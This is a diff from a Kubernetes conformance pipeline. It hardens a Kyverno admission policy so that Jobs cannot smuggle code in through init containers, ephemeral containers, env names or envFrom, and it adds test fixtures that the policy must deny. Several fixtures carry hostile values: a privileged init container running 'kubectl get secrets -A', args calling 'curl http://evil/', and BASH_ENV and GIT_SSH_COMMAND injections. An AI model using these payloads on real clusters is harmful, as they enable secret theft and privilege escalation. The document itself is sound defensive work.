# but must not be ASSUMED to be (the branch can advance between trigger and run,
# and a PR head is not the default branch at all). So: clone shallow, and if the
# SHA is not already present, fetch that one commit, then detach onto it and
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/bin/bash", "-c"]
args:
- |
set -euo pipefail
# A bad SHA must never degrade into "ran whatever the branch tip was".
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
echo " The CI trigger did not substitute it, or substituted junk." >&2
exit 1
fi
mkdir -p "${TMPDIR}" "${HOME}"
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
# reads $1 and answers from the environment only.
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
git -c credential.helper="${CRED}" \
clone --depth 1 --no-tags --single-branch \
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
fi
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
exit 1
fi
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
echo "==> suite ready at ${head}"
command: ["/usr/local/bin/conformance-clone"]
env:
# The repository under test is a committed literal, not a substitution: a
# template that lets the trigger choose the clone URL lets it choose the code.
- name: CONFORMANCE_REPO_URL
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
- name: CONFORMANCE_SRC
value: /workspace/src
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
@@ -253,7 +265,8 @@ spec:
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
args: ["--layer", "all", "--strict-coverage"]
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
+30 -8
View File
@@ -58,20 +58,29 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow
tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a
`@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches
`^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by
**name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1) and provision
that Secret (item 6). Original text: → Add an
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
@@ -120,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
@@ -142,3 +142,236 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -38,6 +38,30 @@ results:
kind: Job
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
- policy: conformance-trigger-job-shape
@@ -59,3 +83,38 @@ results:
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -7,12 +7,10 @@
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
# container's command/args/image are unconstrained. Swapping its args for an exfiltration
# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
# case is deliberately NOT added here: it would have to assert `pass` today, and would then
# break the very PR that fixes the policy.
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
@@ -29,8 +27,7 @@ spec:
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/bash", "-c"]
args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
@@ -227,3 +224,241 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}